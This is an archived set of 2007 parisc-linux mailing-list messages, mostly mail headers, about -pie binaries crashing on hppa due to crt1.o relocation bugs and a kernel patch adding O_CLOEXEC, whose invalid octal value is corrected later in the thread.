List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /3AVdeUdODBplbWUfGRM3o41Ji9SWtJk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24614

> Hi,
> I discovered that the breakage of portmap on hppa is related to the
> -pie linkage.
> Every program linked with the -pie option segfaults at start.
> Unfortunately, portmap is unconditionnaly built with this option.
> I suspect nscd is in the same case.

This problem was fixed sometime ago.  I don't see it with libc6
2.3.6.ds1-13.  Also, nscd doesn't segfault on my system.  Make sure
the libc6 and binutils packages on your system are up to date.

If they are up to date and you still have the problem, provide testcase
and details on libc6, gcc and binutils versions.

The problem was in crt1.o and related to the handling of R_PARISC_PLABEL21L
and R_PARISC_PLABEL14R relocations.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Introduce O_CLOEXEC (take >2)
Date: Thu, 31 May 2007 23:07:54 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20070601030754.GB14217__21032.8297260732$1416624381$gmane$org@fattire.cabal.ca>
References: <200705311809.l4VI9F9X009556@devserv.devel.redhat.com>
	<20070531162021.4cd4e91a.akpm@linux-foundation.org>
	<20070601113840.813463db.sfr@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624381 24407 80.91.229.3 (22 Nov 2014 02:46:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:21 +0000 (UTC)
Cc: Chris Zankel <chris@zankel.net>,
 linux-kernel@vger.kernel.org,
 Ulrich Drepper <drepper@redhat.com>,
 Andrew Morton <akpm@linux-foundation.org>,
 torvalds@linux-foundation.org,
 mingo@elte.hu,
 parisc-linux@lists.parisc-linux.org
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jun 2007 03:08:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 01 Jun 2007 05:08:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C5BF27DE4D;
	Thu, 31 May 2007 21:08:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10919-03; Thu, 31 May 2007 21:08:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28CF17DE1F;
	Thu, 31 May 2007 21:08:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E7E337DE12
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 May 2007 21:07:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09902-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 May 2007 21:07:56 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 5025B7DE0C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 May 2007 21:07:56 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 54CAD58409B;
	Thu, 31 May 2007 23:07:55 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B2871584099;
	Thu, 31 May 2007 23:07:54 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 6432123DD0; Thu, 31 May 2007 23:07:54 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20070601113840.813463db.sfr@canb.auug.org.au>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rbVqcnRERkkerquPfGRqk2NmdWkvKNNg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24615

On Fri, Jun 01, 2007 at 11:38:40AM +1000, Stephen Rothwell wrote:
> This also breaks Alpha (which uses 02000000 for O_DIRECT) and parisc
> (which uses 02000000 for O_RSYNC).  So you ether need to choose a
> different value or define O_CLOEXEC for those two architectures.
> 

That's easy enough to fix...

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

diff --git a/include/asm-parisc/fcntl.h b/include/asm-parisc/fcntl.h
index 317851f..4ca0fb0 100644
--- a/include/asm-parisc/fcntl.h
+++ b/include/asm-parisc/fcntl.h
@@ -14,6 +14,7 @@
 #define O_DSYNC		01000000 /* HPUX only */
 #define O_RSYNC		02000000 /* HPUX only */
 #define O_NOATIME	04000000
+#define O_CLOEXEC	08000000 /* set close_on_exec */
 
 #define O_DIRECTORY	00010000 /* must be a directory */
 #define O_NOFOLLOW	00000200 /* don't follow links */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Introduce O_CLOEXEC (take >2)
Date: Fri, 1 Jun 2007 18:55:49 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20070601225549.GD7714__29449.8752373785$1416624381$gmane$org@fattire.cabal.ca>
References: <200705311809.l4VI9F9X009556@devserv.devel.redhat.com>
	<20070531162021.4cd4e91a.akpm@linux-foundation.org>
	<20070601113840.813463db.sfr@canb.auug.org.au>
	<20070601030754.GB14217@fattire.cabal.ca>
	<Pine.LNX.4.64.0706011510220.26938@winds.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624381 24409 80.91.229.3 (22 Nov 2014 02:46:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:21 +0000 (UTC)
Cc: Stephen Rothwell <sfr@canb.auug.org.au>,
 Chris Zankel <chris@zankel.net>,
 linux-kernel@vger.kernel.org,
 Ulrich Drepper <drepper@redhat.com>,
 Andrew Morton <akpm@linux-foundation.org>,
 torvalds@linux-foundation.org,
 mingo@elte.hu,
 parisc-linux@lists.parisc-linux.org
To: Byron Stanoszek <bstanoszek@comtime.com>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jun 2007 22:56:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 02 Jun 2007 00:56:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6CB9D7DD51;
	Fri,  1 Jun 2007 16:55:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18851-08; Fri, 1 Jun 2007 16:55:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28CC07DD4B;
	Fri,  1 Jun 2007 16:55:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3AEDB7DB46
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 16:55:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18851-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jun 2007 16:55:51 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 6C0687DD4A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 16:55:51 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id AC2AB5840D2;
	Fri,  1 Jun 2007 18:55:50 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2E2295840CA;
	Fri,  1 Jun 2007 18:55:50 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id D5CCF23DD0; Fri,  1 Jun 2007 18:55:49 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.64.0706011510220.26938@winds.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OZZTcipHX1Vpz+uYY2FyXCp3SDc4NEzK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24616

On Fri, Jun 01, 2007 at 03:17:03PM -0400, Byron Stanoszek wrote:
> These are octal values, so you really want to use 010000000 instead of
> 08000000. :-)
> 

Wow. I am totally a dumbass, I saw a 'x' there. Sigh.

diff --git a/include/asm-parisc/fcntl.h b/include/asm-parisc/fcntl.h
index 317851f..7089507 100644
--- a/include/asm-parisc/fcntl.h
+++ b/include/asm-parisc/fcntl.h
@@ -14,6 +14,7 @@
 #define O_DSYNC		01000000 /* HPUX only */
 #define O_RSYNC		02000000 /* HPUX only */
 #define O_NOATIME	04000000
+#define O_CLOEXEC	010000000	/* set close_on_exec */
 
 #define O_DIRECTORY	00010000 /* must be a directory */
 #define O_NOFOLLOW	00000200 /* don't follow links */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Fri, 1 Jun 2007 21:19:20 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200706020119.l521JLOO011243__42709.5493571416$1416624381$gmane$org@hiauly1.hia.nrc.ca>
References: <465FBA5F.2010909@frankengul.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624381 24411 80.91.229.3 (22 Nov 2014 02:46:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: seb@frankengul.org (=?ISO-8859-1?Q?S=E9bastien_Bernard?=)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jun 2007 01:19:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx031) with SMTP; 02 Jun 2007 03:19:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 215DC7DD66;
	Fri,  1 Jun 2007 19:19:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20103-04; Fri, 1 Jun 2007 19:19:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DD097DD68;
	Fri,  1 Jun 2007 19:19:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 964877DD66
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 19:19:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19496-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jun 2007 19:19:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id BEA867DD3F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 19:19:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l521JLRP011244;
	Fri, 1 Jun 2007 21:19:21 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l521JLOO011243;
	Fri, 1 Jun 2007 21:19:21 -0400 (EDT)
In-Reply-To: <465FBA5F.2010909@frankengul.org> from
	"=?ISO-8859-1?Q?S=E9bastien_Bernard?=" at Jun 1, 2007 08:19:11 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mvNVdxoGbUkoyunGPWgnwBZkZ2hlNwqO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24617

> I discovered that the breakage of portmap on hppa is related to the
> -pie linkage.
> Every program linked with the -pie option segfaults at start.
> Unfortunately, portmap is unconditionnaly built with this option.

I advise not updating to libc6 2.5-9.  More than pie apps seem
affected.  For example, svn is broken on my system.  _start in
*crt1.o needs fixing.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Fri, 1 Jun 2007 19:55:08 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20070602015507.GU23968__4224.81989157877$1416624382$gmane$org@parisc-linux.org>
References: <465FBA5F.2010909@frankengul.org>
	<200706020119.l521JLOO011243@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624382 24413 80.91.229.3 (22 Nov 2014 02:46:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:22 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jun 2007 01:55:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 02 Jun 2007 03:55:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3ADD87DD75;
	Fri,  1 Jun 2007 19:55:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20224-09; Fri, 1 Jun 2007 19:55:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 07DF77DD70;
	Fri,  1 Jun 2007 19:55:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA8667DD6D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 19:55:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20103-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jun 2007 19:55:13 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3C0B77DD69
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 19:55:13 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 64022494003; Fri,  1 Jun 2007 19:55:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200706020119.l521JLOO011243@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PvdYc3x9bmw7m62HZzdLSTdHUzc4cpEW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24618

On Fri, Jun 01, 2007 at 09:19:20PM -0400, John David Anglin wrote:
> > I discovered that the breakage of portmap on hppa is related to the
> > -pie linkage.
> > Every program linked with the -pie option segfaults at start.
> > Unfortunately, portmap is unconditionnaly built with this option.
> 
> I advise not updating to libc6 2.5-9.  More than pie apps seem
> affected.  For example, svn is broken on my system.  _start in
> *crt1.o needs fixing.

This is a matter of some urgency -- I heard glibc 2.5 moved into Debian
Testing today.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Fri, 1 Jun 2007 22:03:05 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200706020203.l52235DP011866__46261.6207464181$1416624382$gmane$org@hiauly1.hia.nrc.ca>
References: <20070602015507.GU23968@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624382 24418 80.91.229.3 (22 Nov 2014 02:46:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jun 2007 02:03:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 02 Jun 2007 04:03:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 685D47DD75;
	Fri,  1 Jun 2007 20:03:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20506-10; Fri, 1 Jun 2007 20:03:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 367C57DD77;
	Fri,  1 Jun 2007 20:03:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 19D987DD75
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 20:03:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20643-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jun 2007 20:03:07 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 42F867DD69
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 20:03:07 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l52235Ks011868;
	Fri, 1 Jun 2007 22:03:06 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l52235DP011866;
	Fri, 1 Jun 2007 22:03:05 -0400 (EDT)
In-Reply-To: <20070602015507.GU23968@parisc-linux.org> from "Matthew Wilcox"
	at Jun 1, 2007 07:55:08 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
